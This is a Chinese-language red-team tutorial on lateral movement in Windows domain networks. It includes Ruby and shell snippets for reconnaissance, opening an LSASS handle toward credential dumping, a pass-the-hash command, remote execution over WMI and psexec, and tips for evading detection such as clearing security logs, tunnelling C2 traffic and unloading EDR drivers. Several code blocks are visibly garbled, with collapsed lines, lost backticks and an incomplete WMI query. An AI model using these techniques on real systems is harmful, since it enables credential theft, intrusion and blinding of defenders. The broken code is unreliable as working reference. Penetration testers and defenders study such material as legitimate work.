0x01 内网横向移动的本质:攻与防的对抗
从防御者的视角出发,横向移动是攻击者在获取初始访问点后,试图突破同一网络中的其他主机或资源的过程。这往往是一次攻击链中的关键环节,因为它能够将局部突破转变为全网控制。防御者通常依赖以下手段进行检测和防护:
- 登录事件监控:通过分析如 Windows 事件日志(如 4624、4625 等)来发现异常的登录行为;
- 网络流量分析:通过检测 SMB、RDP、WMI 或 WinRM 协议中的异常行为;
- 权限分离:实施最小权限原则,限制每个账户的横向访问能力;
- MFA 和强密码策略:增加凭证窃取的难度。
既然了解了防守的核心思路,作为攻击者,我们就需要以最小化痕迹为目标,绕过这些防御手段。“如何以最隐蔽的方式完成横向移动”才是红队需要深入思考的核心问题。接下来,我们将从信息收集到横向突破的全流程,逐步拆解技术细节。
---
0x02 情报是武器:找到最优突破点
在内网环境中,横向移动的起点是目标环境的资产信息。我们需要回答几个关键问题:
- 哪些主机存在高价值账户?
- 哪些服务存在弱认证或漏洞?
- 有哪些共享资源可以利用?
以下是我在内网中常用的资产枚举方法,逐步揭开目标网络的布局。
1. 枚举当前环境中的权限与域信息
首先,以最小权限账户进入目标环境后,我们需要快速了解当前所在的网络架构,以及是否处于域环境下。下面是一段用 Ruby 实现的基本信息收集脚本:
<pre><code class="language-ruby">require 'socket'
def system_info puts "[*] 获取主机名和IP信息..." hostname = Socket.gethostname ip = Socket.ip_address_list.detect(&:ipv4_private?).ip_address puts "[+] 主机名: #{hostname}" puts "[+] 本地IP: #{ip}" end
def check_domain puts "[*] 检测域信息..." domain = echo %userdomain%.strip if domain.empty? puts "[-] 未加入域环境" else puts "[+] 当前域: #{domain}" end end
system_info check_domain</code></pre>
- 主机名和IP信息是横向移动的基本起点,帮助我们定位当前主机在网络中的位置。
- 域信息检测则可以判断是否可以进行基于域的横向移动,例如利用 Kerberos 或 LDAP。
2. 扫描附近的“邻居”主机
使用 nbtscan 或 Windows 系统自带的 net view 命令,我们可以快速枚举当前子网中的在线主机列表。以下是 Shell 脚本的实现:
<pre><code class="language-bash">#!/bin/bash
echo "[] 正在扫描邻居主机..." subnet=$(ipconfig | grep -E "IPv4 Address" | awk '{print $NF}' | sed 's/\.[0-9]$/.0/') for ip in $(seq 1 254); do ping -c 1 -W 1 "$subnet.$ip" &>/dev/null && echo "[+] 主机在线: $subnet.$ip" done</code></pre>
攻击者思路:
- 对在线主机进行分层分析:普通终端 VS 关键服务器(如文件服务器、数据库服务器)。
- 将扫描结果与后续的脆弱性分析结合,优先定位易受攻击目标。
---
0x03 横向突破的技术细节拆解
横向移动的核心在于如何突破目标主机的访问权限。以下是几种常见技术及其对应的攻击思路:
1. 凭证窃取与复用
通过窃取当前主机上的凭证,可以快速实现对其他主机的访问。以下是几种常用的凭证窃取方法:
(1) Dump LSASS 内存中的凭证
攻击者常用工具如 Mimikatz 或自行编写脚本对 LSASS 进程进行内存转储。以下是 Ruby 结合 Windows API 进行凭证转储的代码:
<pre><code class="language-ruby">require 'fiddle'
def dump_lsass puts "[*] 正在尝试获取 LSASS 进程句柄..." lsass_pid = tasklist | findstr lsass.strip.split[1].to_i unless lsass_pid puts "[-] 未找到 LSASS 进程" return end

handle = Fiddle::Handle.new("kernel32") OpenProcess = handle['OpenProcess', 'LLI'] process_handle = OpenProcess.call(0x001F0FFF, 0, lsass_pid) puts "[+] 成功获取 LSASS 进程句柄: #{process_handle}"
下一步可结合 MiniDumpWriteDump 将内存保存为文件进行离线分析
end
dump_lsass</code></pre>

(2) 利用 Pass-the-Hash 技术
如果获取了 NTLM 哈希,可以直接复用登录其他主机。例如,用 pth-winexe 工具:
<pre><code class="language-bash">pth-winexe -U "DOMAIN\\user%aad3b435b51404eeaad3b435b51404ee:password_hash" //192.168.1.100 cmd</code></pre>
防守反推:通过限制账户的远程登录权限,防止高权限账户被滥用。
2. 利用远程执行机制
(1) WMI 执行

WMI 是 Windows 环境中常见的管理工具,经常被攻击者用作横向移动的媒介。以下为 Ruby 调用 WMI 的示例:
<pre><code class="language-ruby">require 'win32ole'
def execute_wmi(target, command) puts "[] 通过WMI执行命令: #{command}..." wmi = WIN32OLE.connect("winmgmts://#{target}/root/cimv2") process = wmi.ExecQuery("SELECT FROM Win32_Process") process.Create(command) puts "[+] WMI 命令已发送" end
execute_wmi("192.168.1.100", "cmd.exe /c whoami > C:\\temp\\result.txt")</code></pre>
(2) SMB 执行
通过 SMB 的 IPC$ 共享,我们可以直接上传恶意 payload 并触发执行。例如,结合 psexec 工具实现完全控制。
<pre><code class="language-bash">psexec \\192.168.1.100 -u Administrator -p password cmd</code></pre>
攻击者思路:
- 选择隐蔽性更好的执行方式,例如通过 PowerShell Remoting 或 WinRM,而非直接 RDP 登录。
- 使用加密或混淆的 Payload,减少被 EDR 检测的风险。
---
0x04 绕过检测的技巧:隐蔽性优化
在横向移动的过程中,绕过 EDR 和 SIEM 系统的检测是关键。以下是一些通用的隐蔽性优化技巧:
- 减少日志痕迹:
- 使用
wevtutil清除安全日志。 - 调整攻击时间,避开管理员活跃时段。
- 流量伪装:
- 将恶意流量混淆为正常业务流量,例如通过 HTTP 或 DNS 隧道传输 C2 命令。
- Payload 混淆:
- 使用 sRDI 技术将 shellcode 加载到合法进程中。
- 动态加密或分块解密恶意载荷。
- EDR 对抗:
- 暂时挂起 EDR 的内核钩子,或直接卸载其驱动程序。
---
0x05 攻与防的最后博弈
内网横向移动的核心在于信息的不断积累和突破,这是一场智力与技术的双向博弈。作为红队,我们关注的是如何最小化攻击痕迹,最大化突破效率;而作为防守方,则需在异常行为发生时,及时复盘并处理。
希望本文对你的红队技术栈提升有所帮助,但切记:所有技术仅限于合法授权的安全测试用途!
🎯 Hack the Planet!